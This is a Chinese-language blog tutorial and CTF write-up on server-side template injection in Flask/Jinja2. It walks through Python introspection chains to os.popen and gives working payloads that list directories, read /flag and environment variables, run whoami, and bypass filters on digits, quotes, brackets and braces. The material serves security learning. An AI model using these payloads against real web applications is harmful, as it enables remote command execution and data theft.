SSTI模板注入

该文章已生成可运行项目,

SSTI

SSTI即服务端模板注入,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输出数据,从而达到读取文件或者getshall的目的

Flask是python编写的一个web应用程序框架,Jinja2是flask中的一个模板引擎,在Jinja2中,存在三种语句:控制结构{% %}、变量取值{{ }}、注释{# #}

SSTI基本思路就是通过找到合适的魔术方法,一步步去执行,从而得到我们想要的结果

{{7*7}}              # Jinja2/Twig:返回49
${7*7}               # Mako:返回49
<%= 7*7 %>           # ERB:返回49
#{7*7}               # Freemarker:返回49
[[7*7]]              # Twig(某些版本)

jinjia2基本语法示例

{# 这是注释 #}

 {# 变量输出 #}
  Hello {{ name }}!

 {# 控制结构 #}
 {% if user.is_active %}
   Welcome back!
 {% else %}
   Please log in.
 {% endif %}

{# 循环 #}
<ul>
{% for item in items %}
    <li>{{ item.name }}</li>
{% endfor %}
</ul>

{# 模板继承 #}
{% extends "base.html" %}

 {% block content %}
    <h1>Page Title</h1>
    {{ super() }} {# 调用父模板中的内容 #}
{% endblock %}

jinjia2基本特性

  • 语法简洁:使用 {{ }} 表示变量,{% %} 表示控制结构
  • 模板继承:支持通过 {% extends %}{% block %} 实现模板继承
  • 自动转义:内置 HTML 自动转义功能,防止 XSS 攻击
  • 高性能:编译为 Python 字节码,执行效率高
  • 可扩展:支持自定义过滤器、测试、全局函数等

一些方法:

__class__:万物皆对象,而 __class__ 用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为 <class 'str'>。
__bases__:以元组的形式返回一个类所直接继承的类。
__base__: 以字符串返回一个类所直接继承的第一个类。
__mro__:  返回解析方法调用的顺序。
__class__:返回对象的类				返回 <class 'str'>
__bases__:返回类的基类				返回 (<class 'object'>,)
__subclasses__():返回类的所有子		返回 object 的所有子类

然后进行遍历子类:寻找包含危险功能的子类(如os._wrap_close)。执行命令:调用子类的方法执行系统命令。

# 通过 _wrap_close 可以访问:
_wrap_close.__init__.__globals__ 包含:
- os.environ        # 环境变量
- os.system         # 执行系统命令
- os.popen          # 执行命令并获取输出
- os.listdir        # 列出目录
- os.open           # 打开文件

进行读取文件操作:这个是没有进行任何过滤的操作

{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['os'].popen('ls').read()}}

进行过滤后命令

过滤了数字,就不能直接进行索引使用,但是可以间接的去使用。使用算式进行绕过

{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}

过滤了双引号和单引号,用request.args传递参数

{{().__class__}}  # 元组 - 不需要引号
{{[].__class__}}  # 列表
{{{}.__class__}}  # 字典
{{request.__class__}}  # request对象
{{config.__class__}}
{{self.__class__}}

使用数字对象

{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg

过滤了args,那就不能使用get参数去获取,但是还有其他方法,还可以使用cookies

?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.b).read()}}

然后在cookies中进行传参:p=popen;b=命令

绕过中括号[]

使用__getitem__方法:

{{ "".__class__.__bases__.__getitem__(0) }}  # 等价于 __bases__[0]

绕过{{和}}

如果{{被过滤,可以使用{% %}语法:

{% print("".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()) %}

例1:

这是一般情况,没有过滤任何东西

锦家的拼音是jinjia,这不是jinjia模板注入,SSTI漏洞

测试一下,确实存在

接着获取字符串对象的类,查看类的继承链:{{''.__class__.__mro__}}。__mro__返回了(<class 'str'>, <class 'object'>),是Python对象结构

接着获取object基类,[0]是<class 'str'>,[1]是<class 'object'>。输入{{''.__class__.__mro__[1]}}返回<?class'object'>,看到可以访问object基类

然后查看object所有子类,寻找可以利用的危险类

{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('ls').read()}}

但是索引没有找准.......使用多种对象(config、request、self等)增加成功率。config是Flask内置对象,一定存在,无需寻找特定索引,避免索引号问题

可以利用cionfig执行命令:通过config对象访问os模块并执行命令。使用config的__init__方法,访问__globals__,从globals中找到os模块,通过os模块执行命令查找flag

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

在这个目录下并没有flag,看看根目录下,根目录下可以看到!

接着就是读取flag:{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

例2:

过滤数字

沿袭上一题的做法,当做到利用os._wrap_close这个类时,并没有显示内容,这里是过滤了数字

可以利用算式进行绕过,不是直接进行使用,间接进行使用

读取flag:{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}

过滤单、双引号

这题它过滤了双引号和单引号

{{().__class__}}  # 元组 - 不需要引号
{{[].__class__}}  # 列表
{{{}.__class__}}  # 字典
{{request.__class__}}  # request对象
{{config.__class__}}
{{self.__class__}}

从GET参数获取

{{request.args.a}}  //?a=__class__
{{request.args.a|attr(request.args.b)}}  //?a=&b=__class__

使用数字对象:

{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls /
{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg

注入思路

  • 随便找一个内置类对象,用 __class__ 拿到他所对应的类。
  • 用 __bases__ 拿到基类(<class 'object'>)。
  • 用 __subclasses__() 拿到子类别表。
  • 在子类别表中直接寻找可以利用的类,具体来说是关于命令执行或者文件操作的模块。

示例(Python 版本不同时下标需调整):

().__class__.__bases__[0].__subclasses__()
().__class__.__mro__[1].__subclasses__()

接下来只要找到能够利用的类(方法、函数)就好了

因为每个环境使用的python库不同,所以类的排序有差异。

直接使用popen(python2不行)

os._wrap_close 类里有 popen。

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用 os 下的 popen

可以从含有 os 的基类入手,比如说 linecache。

"".__class__.__bases__[0].__subclasses__()[256].__init__.__globals__['os'].popen('whoami').read()

使用 import 下的 os(python2不行)

可以使用 __import__ 的 os。

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
本文章已经生成可运行项目
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值